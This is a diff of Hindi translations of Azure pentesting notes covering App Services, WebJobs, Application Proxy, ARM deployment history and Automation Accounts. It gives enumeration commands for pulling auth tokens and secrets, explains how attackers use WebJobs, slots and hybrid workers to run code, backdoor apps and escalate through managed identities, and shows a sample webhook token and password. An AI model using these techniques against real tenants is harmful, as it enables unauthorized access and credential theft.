- वर्तमान में समर्थित तृतीय पक्ष स्रोत **Github** और **Bitbucket** हैं। - वर्तमान में समर्थित तीसरे पक्ष के स्रोत **Github** और **Bitbucket** हैं।
- आप `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` चलाकर प्रमाणीकरण टोकन प्राप्त कर सकते हैं। - आप `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` चलाकर प्रमाणीकरण टोकन प्राप्त कर सकते हैं।
- Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर App Service पर कोड तैनात करने के लिए एक **Github Action** सेटअप करेगा। - Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर App Service पर कोड तैनात करने के लिए एक **Github Action** सेटअप करेगा।
- यह वहाँ से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) को इंगित करना भी संभव है। - यह वहाँ से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) को इंगित करना भी संभव है।
@@ -71,23 +71,23 @@ App Services डिफ़ॉल्ट रूप से कोड को एक
## Webjobs ## Webjobs
Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रसंस्करण, डेटा हैंडलिंग, या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है। Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रसंस्करण, डेटा हैंडलिंग, या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है।
WebJobs के 2 प्रकार होते हैं: वेब जॉब के 2 प्रकार होते हैं:
- **निरंतर**: यह अनंत काल तक एक लूप में चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रसंस्करण की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू बंद है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा। - **निरंतर**: यह अनंत काल तक एक लूप में चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रसंस्करण की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू बंद है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा।
- **ट्रिगर किया गया**: यह मांग पर या एक शेड्यूल के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्या के लिए सबसे उपयुक्त है। - **ट्रिगर किया गया**: यह मांग पर या एक शेड्यूल के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्या के लिए सबसे उपयुक्त है।
WebJobs हमलावरों के दृष्टिकोण से बहुत दिलचस्प होते हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचानों के लिए विशेषाधिकार बढ़ाने** के लिए किया जा सकता है। Webjobs हमलावरों के दृष्टिकोण से बहुत दिलचस्प होते हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचान** के लिए विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
इसके अलावा, WebJobs द्वारा उत्पन्न **लॉग** की जांच करना हमेशा दिलचस्प होता है क्योंकि वे **संवेदनशील जानकारी** रख सकते हैं। इसके अलावा, Webjobs द्वारा उत्पन्न **लॉग** की जांच करना हमेशा दिलचस्प होता है क्योंकि वे **संवेदनशील जानकारी** हो सकते हैं।
## Slots ## Slots
Azure App Service Slots का उपयोग **एक ही App Service पर एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है। Azure App Service Slots का उपयोग **एक ही App Service पर एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है।
इसके अलावा, एक विशिष्ट स्लॉट के लिए **ट्रैफ़िक का प्रतिशत** रूट करना संभव है, जो A/B परीक्षण के लिए उपयोगी है, और **बैकडोर उद्देश्यों** के लिए। इसके अलावा, एक विशेष स्लॉट के लिए **ट्रैफ़िक का एक प्रतिशत** रूट करना संभव है, जो A/B परीक्षण के लिए उपयोगी है, और **बैकडोर उद्देश्यों** के लिए।
## Azure Function Apps ## Azure Function Apps
बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय हैं** वेब कंसोल में और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **वहाँ सूचीबद्ध फ़ंक्शन ऐप्स को भी देख पाएंगे** बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय हैं** वेब कंसोल में और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या `az webapp list` को az cli में निष्पादित करते हैं, तो आप **वहाँ सूचीबद्ध फ़ंक्शन ऐप्स को भी देख पाएंगे**
इसलिए, दोनों सेवाओं में वास्तव में ज्यादातर **एक समान कॉन्फ़िगरेशन, सुविधाएँ और विकल्प होते हैं az cli में**, हालाँकि वे उन्हें थोड़ा अलग तरीके से कॉन्फ़िगर कर सकते हैं (जैसे appsettings के डिफ़ॉल्ट मान या फ़ंक्शन ऐप्स में स्टोरेज अकाउंट का उपयोग)। इसलिए, दोनों सेवाओं में वास्तव में ज्यादातर **एक समान कॉन्फ़िगरेशन, सुविधाएँ और विकल्प होते हैं az cli में**, हालाँकि वे उन्हें थोड़ा अलग तरीके से कॉन्फ़िगर कर सकते हैं (जैसे appsettings के डिफ़ॉल्ट मान या फ़ंक्शन ऐप्स में स्टोरेज अकाउंट का उपयोग)।
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#endtab }} {{#endtab }}
{{#tab name="Az Powershell" }} {{#tab name="Az Powershell" }}
```powershell ```bash
# Get App Services and Function Apps # Get App Services and Function Apps
Get-AzWebApp Get-AzWebApp
# Get only App Services # Get only App Services
@@ -225,9 +225,9 @@ done
../az-privilege-escalation/az-app-services-privesc.md ../az-privilege-escalation/az-app-services-privesc.md
{{#endref}} {{#endref}}
## Web Apps बनाने के उदाहरण ## वेब ऐप्स बनाने के उदाहरण
### स्थानीय से Python ### स्थानीय से पायथन
यह ट्यूटोरियल [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) से आधारित है। यह ट्यूटोरियल [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) से आधारित है।
```bash ```bash
@@ -247,7 +247,7 @@ SCM पोर्टल में लॉगिन करने या FTP के
### Github से Python ### Github से Python
यह ट्यूटोरियल पिछले वाले पर आधारित है लेकिन एक Github रिपॉजिटरी का उपयोग करते हुए यह ट्यूटोरियल पिछले वाले पर आधारित है लेकिन एक Github रिपॉजिटरी का उपयोग कर रहा है
1. अपने Github खाते में msdocs-python-flask-webapp-quickstart रिपॉजिटरी को फोर्क करें। 1. अपने Github खाते में msdocs-python-flask-webapp-quickstart रिपॉजिटरी को फोर्क करें।
2. Azure में एक नया Python वेब ऐप बनाएं। 2. Azure में एक नया Python वेब ऐप बनाएं।
@@ -256,15 +256,15 @@ SCM पोर्टल में लॉगिन करने या FTP के
जैसे पिछले मामले में, SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है। जैसे पिछले मामले में, SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है।
> [!TIP] > [!TIP]
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना और एक डिप्लॉयमेंट को फिर से सक्रि करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है। > केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना और एक डिप्लॉयमेंट को फिर से ्रिगर करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
## Privilege Escalation ## विशेषाधिकार वृद्धि
{{#ref}} {{#ref}}
../az-privilege-escalation/az-app-services-privesc.md ../az-privilege-escalation/az-app-services-privesc.md
{{#endref}} {{#endref}}
## References ## संदर्भ
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) - [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
@@ -14,13 +14,13 @@ Azure Active Directory का Application Proxy **स्थानीय वे
1. उपयोगकर्ता जब एक एंडपॉइंट के माध्यम से अनुप्रयोग तक पहुंचता है, तो उपयोगकर्ता को **Azure AD साइन-इन पृष्ठ** पर निर्देशित किया जाता है। 1. उपयोगकर्ता जब एक एंडपॉइंट के माध्यम से अनुप्रयोग तक पहुंचता है, तो उपयोगकर्ता को **Azure AD साइन-इन पृष्ठ** पर निर्देशित किया जाता है।
2. **सफल साइन-इन** के बाद, Azure AD उपयोगकर्ता के क्लाइंट डिवाइस को एक **टोकन** भेजता है। 2. **सफल साइन-इन** के बाद, Azure AD उपयोगकर्ता के क्लाइंट डिवाइस को एक **टोकन** भेजता है।
3. क्लाइंट टोकन को **Application Proxy सेवा** को भेजता है, जो टोकन से उपयोगकर्ता प्रमुख नाम (UPN) और सुरक्षा प्रमुख नाम (SPN) प्राप्त करता है। **Application Proxy फिर अनुरोध को Application Proxy कनेक्टर को भेजता है** 3. क्लाइंट टोकन को **Application Proxy सेवा** को भेजता है, जो टोकन से उपयोगकर्ता प्रिंसिपल नाम (UPN) और सुरक्षा प्रिंसिपल नाम (SPN) प्राप्त करता है। **Application Proxy फिर अनुरोध को Application Proxy कनेक्टर को भेजता है**
4. यदि आपने एकल साइन-ऑन कॉन्फ़िगर किया है, तो कनेक्टर उपयोगकर्ता की ओर से आवश्यक किसी भी **अतिरिक्त प्रमाणीकरण** को करता है। 4. यदि आपने एकल साइन-ऑन कॉन्फ़िगर किया है, तो कनेक्टर उपयोगकर्ता की ओर से आवश्यक किसी भी **अतिरिक्त प्रमाणीकरण** को करता है।
5. कनेक्टर अनुरोध को **स्थानीय अनुप्रयोग** पर भेजता है। 5. कनेक्टर अनुरोध को **स्थानीय अनुप्रयोग** पर भेजता है।
6. **प्रतिक्रिया** कनेक्टर और Application Proxy सेवा के माध्यम से **उपयोगकर्ता** को भेजी जाती है। 6. **प्रतिक्रिया** कनेक्टर और Application Proxy सेवा के माध्यम से **उपयोगकर्ता** को भेजी जाती है।
## Enumeration ## Enumeration
```powershell ```bash
# Enumerate applications with application proxy configured # Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
@@ -4,16 +4,16 @@
## Basic Information ## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) अपने Azure समाधानों के लिए **कोड के रूप में बुनियादी ढाँचा** लागू करने के लिए, Azure Resource Manager टेम्पलेट्स (ARM टेम्पलेट्स) का उपयोग करें। टेम्पलेट एक JavaScript ऑब्जेक्ट नोटेशन (**JSON**) फ़ाइल है जो आपके प्रोजेक्ट के लिए **बुनियादी ढाँचा** और कॉन्फ़िगरेशन को **परिभाषित** करती है। टेम्पलेट डिक्लेरेटिव सिंटैक्स का उपयोग करता है, जो आपको यह बताने की अनुमति देता है कि आप क्या तैनात करना चाहते हैं बिना इसे बनाने के लिए प्रोग्रामिंग कमांड की अनुक्रम लिखे। टेम्पलेट में, आप तैनात करने के लिए संसाधनों और उन संसाधनों के लिए गुण निर्दिष्ट करते हैं। [From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) अपने Azure समाधानों के लिए **कोड के रूप में बुनियादी ढाँचा** लागू करने के लिए, Azure Resource Manager टेम्पलेट्स (ARM टेम्पलेट्स) का उपयोग करें। टेम्पलेट एक JavaScript ऑब्जेक्ट नोटेशन (**JSON**) फ़ाइल है जो आपके प्रोजेक्ट के लिए **बुनियादी ढाँचा** और कॉन्फ़िगरेशन को **परिभाषित** करती है। टेम्पलेट डिक्लेरेटिव सिंटैक्स का उपयोग करता है, जो आपको यह बताने की अनुमति देता है कि आप क्या तैनात करने का इरादा रखते हैं बिना इसे बनाने के लिए प्रोग्रामिंग कमांड की अनुक्रम लिखे। टेम्पलेट में, आप तैनात करने के लिए संसाधनों और उन संसाधनों के लिए गुण निर्दिष्ट करते हैं।
### History ### History
यदि आप इसे एक्सेस कर सकते हैं, तो आपके पास **संसाधनों के बारे में जानकारी** हो सकती है जो मौजूद नहीं हैं लेकिन भविष्य में तैनात की जा सकती हैं। इसके अलावा, यदि एक **पैरामीटर** जिसमें **संवेदनशील जानकारी** थी, को "**String**" के रूप में "**SecureString**" के बजाय चिह्नित किया गया था, तो यह **स्पष्ट-टेक्स्ट** में मौजूद होगा। यदि आप इसे एक्सेस कर सकते हैं, तो आपके पास **संसाधनों के बारे में जानकारी** हो सकती है जो मौजूद नहीं हैं लेकिन भविष्य में तैनात की जा सकती हैं। इसके अलावा, यदि एक **पैरामीटर** जिसमें **संवेदनशील जानकारी** थी, को "**String**" के रूप में "**SecureString**" के बजाय चिह्नित किया गया था, तो यह **स्पष्ट पाठ** में मौजूद होगा।
## Search Sensitive Info ## Search Sensitive Info
उपयोगकर्ता जिनके पास अनुमतियाँ `Microsoft.Resources/deployments/read` और `Microsoft.Resources/subscriptions/resourceGroups/read` हैं, वे **तैनाती इतिहास** को **पढ़** सकते हैं। उपयोगकर्ता जिनके पास अनुमतियाँ `Microsoft.Resources/deployments/read` और `Microsoft.Resources/subscriptions/resourceGroups/read` हैं, वे **तैनाती इतिहास** को **पढ़** सकते हैं।
```powershell ```bash
Get-AzResourceGroup Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name> Get-AzResourceGroupDeployment -ResourceGroupName <name>
@@ -4,7 +4,7 @@
## Basic Information ## Basic Information
Azure Automation Accounts Microsoft Azure में क्लाउड-आधारित सेवाएँ हैं जो **कार्य स्वचालित** करने में मदद करती हैं जैसे संसाधन प्रबंधन, कॉन्फ़िगरेशन, और Azure और ऑन-प्रिमाइसेस वातावरण में अपडेट। ये **Runbooks** (स्वचालन के लिए स्क्रिप्ट जो निष्पादित होती हैं), **अनुसूचियाँ**, और **हाइब्रिड कार्यकर्ता समूह** प्रदान करती हैं ताकि स्वचालन **नौकरियों** को चलाया जा सके, जो कोड के रूप में बुनियादी ढाँचा (IaC) और प्रक्रिया स्वचालन को सक्षम बनात है जिससे क्लाउड संसाधनों के प्रबंधन में दक्षता और स्थिरता में सुधार होता है। Azure Automation Accounts Microsoft Azure में क्लाउड-आधारित सेवाएँ हैं जो **कार्य स्वचालित** करने में मदद करती हैं जैसे संसाधन प्रबंधन, कॉन्फ़िगरेशन, और Azure और ऑन-प्रिमाइसेस वातावरण में अपडेट। ये **Runbooks** (स्वचालन के लिए स्क्रिप्ट जो निष्पादित होती हैं), **अनुसूचियाँ**, और **हाइब्रिड कार्यकर्ता समूह** प्रदान करती हैं ताकि स्वचालन **नौकरियों** को चलाया जा सके, जो कोड के रूप में बुनियादी ढाँचा (IaC) और प्रक्रिया स्वचालन को सक्षम बनात हैं, जिससे क्लाउड संसाधनों के प्रबंधन में दक्षता और स्थिरता में सुधार होता है।
### Settings ### Settings
@@ -16,7 +16,7 @@ Azure Automation Accounts Microsoft Azure में क्लाउड-आधा
### Runbooks & Jobs ### Runbooks & Jobs
Azure Automation में एक Runbook एक **स्क्रिप्ट है जो स्वचालित रूप से कार्य करती है** आपके क्लाउड वातावरण के भीतर। Runbooks को PowerShell, Python, या ग्राफिकल संपादकों में लिखा जा सकता है। ये प्रशासनिक कार्यों जैसे VM प्रबंधन, पैचिंग, या अनुपालन जांच को स्वचालित करने में मदद करते हैं। Azure Automation में एक Runbook एक **स्क्रिप्ट है जो स्वचालित रूप से कार्य करती है** आपके क्लाउड वातावरण के भीतर। Runbooks को PowerShell, Python, या ग्राफिकल संपादकों में लिखा जा सकता है। ये VM प्रबंधन, पैचिंग, या अनुपालन जांच जैसे प्रशासनिक कार्यों को स्वचालित करने में मदद करते हैं।
**Runbooks** के भीतर **कोड** में **संवेदनशील जानकारी** (जैसे क्रेड्स) हो सकती है। **Runbooks** के भीतर **कोड** में **संवेदनशील जानकारी** (जैसे क्रेड्स) हो सकती है।
@@ -26,13 +26,13 @@ Azure Automation में एक Runbook एक **स्क्रिप्ट
- **Output**: Runbook निष्पादन का परिणाम। - **Output**: Runbook निष्पादन का परिणाम।
- **Start and End Time**: जब नौकरी शुरू हुई और पूरी हुई। - **Start and End Time**: जब नौकरी शुरू हुई और पूरी हुई।
एक नौकरी में **Runbook** निष्पादन का **आउटपुट** होता है। यदि आप **jobs** को **पढ़** सकते हैं, तो ऐसा करें क्योंकि वे **run** का **आउटपुट** **रखते** हैं (संभावित **संवेदनशील जानकारी**) एक नौकरी में **Runbook** निष्पादन का **आउटपुट** होता है। यदि आप **jobs** को **पढ़** सकते हैं, तो ऐसा करें क्योंकि वे **run** का **आउटपुट** **संवेदनशील जानकारी** हो सकती है
### Schedules & Webhooks ### Schedules & Webhooks
Runbook निष्पादित करने के 3 मुख्य तरीके हैं: Runbook निष्पादित करने के 3 मुख्य तरीके हैं:
- **Schedules**: इन्हें **विशिष्ट समय** या **अंतराल** पर Runbooks को **प्रेरित** करने के लिए उपयोग किया जाता है। - **Schedules**: इन्हें **विशिष्ट समय** या **अवधि** पर Runbooks को **प्रेरित** करने के लिए उपयोग किया जाता है।
- **Webhooks**: ये **HTTP endpoints** हैं जिन्हें **बाहरी सेवाओं** से Runbooks को **प्रेरित** करने के लिए उपयोग किया जा सकता है। ध्यान दें कि वेबहुक URL **निर्माण के बाद दिखाई नहीं देता** - **Webhooks**: ये **HTTP endpoints** हैं जिन्हें **बाहरी सेवाओं** से Runbooks को **प्रेरित** करने के लिए उपयोग किया जा सकता है। ध्यान दें कि वेबहुक URL **निर्माण के बाद दिखाई नहीं देता**
- **Manual Trigger**: आप Azure Portal और CLI से एक Runbook को **हाथ से प्रेरित** कर सकते हैं। - **Manual Trigger**: आप Azure Portal और CLI से एक Runbook को **हाथ से प्रेरित** कर सकते हैं।
@@ -42,13 +42,13 @@ Runbook निष्पादित करने के 3 मुख्य तर
जब समन्वय सक्षम होता है, तो **Github रिपॉजिटरी में एक वेबहुक बनाया जाता है** ताकि हर बार एक पुश इवेंट होने पर समन्वय को प्रेरित किया जा सके। वेबहुक URL का उदाहरण: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` जब समन्वय सक्षम होता है, तो **Github रिपॉजिटरी में एक वेबहुक बनाया जाता है** ताकि हर बार एक पुश इवेंट होने पर समन्वय को प्रेरित किया जा सके। वेबहुक URL का उदाहरण: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
ध्यान दें कि ये वेबहुक **Github रिपॉजिटरी से संबंधित रनबुक में सूचीबद्ध करते समय दिखाई नहीं देंगे**। यह भी ध्यान दें कि एक बार बनाए जाने के बाद **स्रोत नियंत्रण का रिपॉजिटरी URL बदलना संभव नहीं है** ध्यान दें कि ये वेबहुक **Github रिपॉजिटरी से संबंधित रनबुक में सूचीबद्ध करते समय दिखाई नहीं देंगे**। यह भी ध्यान दें कि एक बार बनाए जाने के बाद स्रोत नियंत्रण का रिपॉजिटरी URL **बदलना संभव नहीं है**
कॉन्फ़िगर किए गए स्रोत नियंत्रण के काम करने के लिए, **Azure Automation Account** को एक प्रबंधित पहचान (सिस्टम या उपयोगकर्ता) के साथ **`Contributor`** भूमिका होनी चाहिए। इसके अलावा, स्वचालन खाते के लिए उपयोगकर्ता प्रबंधित पहचान को असाइन करने के लिए, इसे वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में उपयोगकर्ता MI का क्लाइंट ID इंगित करना आवश्यक है। कॉन्फ़िगर किए गए स्रोत नियंत्रण के काम करने के लिए, **Azure Automation Account** को एक प्रबंधित पहचान (सिस्टम या उपयोगकर्ता) के साथ **`Contributor`** भूमिका होनी चाहिए। इसके अलावा, स्वचालन खाते में उपयोगकर्ता प्रबंधित पहचान को असाइन करने के लिए, इसे वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में उपयोगकर्ता MI का क्लाइंट ID इंगित करना आवश्यक है।
### Runtime Environments ### Runtime Environments
जब एक Runbook बनाया जाता है, तो रनटाइम वातावरण का चयन करना संभव है। डिफ़ॉल्ट रूप से, निम्नलिखित रनटाइम वातावरण उपलब्ध हैं: जब एक Runbook बनाया जाता है, तो रनटाइम वातावरण का चयन करना संभव होता है। डिफ़ॉल्ट रूप से, निम्नलिखित रनटाइम वातावरण उपलब्ध हैं:
- **Powershell 5.1** - **Powershell 5.1**
- **Powershell 7.1** - **Powershell 7.1**
@@ -65,24 +65,24 @@ Azure Automation में, रनबुक के लिए डिफ़ॉल
जब एक हाइब्रिड कार्यकर्ता समूह बनाया जाता है, तो उपयोग करने के लिए **क्रेडेंशियल्स** इंगित करना आवश्यक होता है। 2 विकल्प हैं: जब एक हाइब्रिड कार्यकर्ता समूह बनाया जाता है, तो उपयोग करने के लिए **क्रेडेंशियल्स** इंगित करना आवश्यक होता है। 2 विकल्प हैं:
- **Default credentials**: आपको क्रेडेंशियल्स प्रदान करने की आवश्यकता नहीं है और रनबुक VMs के भीतर **System** के रूप में निष्पादित की जाएगी - **Default credentials**: आपको क्रेडेंशियल्स प्रदान करने की आवश्यकता नहीं है और रनबुक VMs के भीतर **System** के रूप में निष्पादित होंगे
- **Specific credentials**: आपको स्वचालन खाते के भीतर क्रेडेंशियल्स ऑब्जेक्ट का नाम प्रदान करने की आवश्यकता है, जिसका उपयोग **VMs के भीतर रनबुक्स को निष्पादित करने** के लिए किया जाएगा। इसलिए, इस मामले में, यह संभव हो सकता है कि **VMs के लिए मान्य क्रेडेंशियल्स चुराए जाएँ** - **Specific credentials**: आपको स्वचालन खाते के भीतर क्रेडेंशियल्स ऑब्जेक्ट का नाम प्रदान करने की आवश्यकता है, जिसका उपयोग **VMs के भीतर रनबुक्स को निष्पादित करने** के लिए किया जाएगा। इसलिए, इस मामले में, यह संभव हो सकता है कि **VMs के लिए मान्य क्रेडेंशियल्स चुराए जाएँ**
इसलिए, यदि आप **Runbook** को **Hybrid Worker** में चलाने का विकल्प चुनते हैं, तो आप **System** के रूप में एक बाहरी मशीन के भीतर **मनमाने आदेश** निष्पादित करेंगे (अच्छी पिवट तकनीक)। इसलिए, यदि आप **Runbook** को **Hybrid Worker** में चलाने का विकल्प चुनते हैं, तो आप **System** के रूप में एक बाहरी मशीन के भीतर **मनमाने आदेश** निष्पादित करेंगे (अच्छी पिवट तकनीक)।
इसके अलावा, यदि हाइब्रिड कार्यकर्ता Azure में अन्य प्रबंधित पहचानों के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचानों तक पहुँच प्राप्त कर सकेगा** इसके अलावा, यदि हाइब्रिड कार्यकर्ता Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचानों तक पहुँच प्राप्त कर सकेगा**
> [!TIP] > [!TIP]
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहाँ स्वचालन खाते की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**) > याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहाँ स्वचालन खाते की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**).
### State Configuration (SC) ### State Configuration (SC)
>[!WARNING] >[!WARNING]
> जैसा कि [दस्तावेज़ों](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) में संकेत दिया गया है, Azure Automation State Configuration 30 सितंबर, 2027 को समाप्त किया जाएगा और [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) द्वारा प्रतिस्थापित किया जाएगा। > जैसा कि [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) में संकेत दिया गया है, Azure Automation State Configuration 30 सितंबर, 2027 को समाप्त किया जाएगा और [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) द्वारा प्रतिस्थापित किया जाएगा।
Automation Accounts भी **State Configuration (SC)** का समर्थन करते हैं, जो एक विशेषता है जो आपकी VMs की **स्थिति** को **कॉन्फ़िगर** और **रखरखाव** करने में मदद करती है। यह **Windows** और **Linux** मशीनों पर DSC कॉन्फ़िगरेशन **बनाने** और **लागू करने** की अनुमति देता है। Automation Accounts भी **State Configuration (SC)** का समर्थन करते हैं, जो एक विशेषता है जो आपकी VMs की **स्थिति** को **कॉन्फ़िगर** और **रखरखाव** करने में मदद करती है। यह **Windows** और **Linux** मशीनों पर DSC कॉन्फ़िगरेशन को **बनाने** और **लागू करने** की अनुमति देता है।
हमलावरों के दृष्टिकोण से यह दिलचस्प था क्योंकि यह **सभी कॉन्फ़िगर की गई VMs में मनमाने PS कोड को निष्पादित करने** की अनुमति देता था जिससे इन VMs की प्रबंधित पहचानों के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती थी, संभावित रूप से नए नेटवर्क में पिवटिंग... इसके अलावा, कॉन्फ़िगरेशन में **संवेदनशील जानकारी** हो सकती है। हमलावरों के दृष्टिकोण से यह दिलचस्प था क्योंकि यह **सभी कॉन्फ़िगर की गई VMs में मनमाने PS कोड को निष्पादित करने** की अनुमति देता था, जिससे इन VMs की प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती थी, संभावित रूप से नए नेटवर्क में पिवटिंग... इसके अलावा, कॉन्फ़िगरेशन में **संवेदनशील जानकारी** हो सकती है।
## Enumeration ## Enumeration
```bash ```bash
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22" az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
``` ```
```powershell ```bash
# Check user right for automation # Check user right for automation
az extension add --upgrade -n automation az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group az automation account list # if it doesn't return anything the user is not a part of an Automation group
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }} {{#endtab }}
{{#tab name="Mg" }} {{#tab name="Mg" }}
```powershell ```bash
# Login Open browser # Login Open browser
Connect-MgGraph Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerShell" }} {{#tab name="Az PowerShell" }}
```powershell ```bash
Connect-AzAccount #Open browser Connect-AzAccount #Open browser
# Using credentials # Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
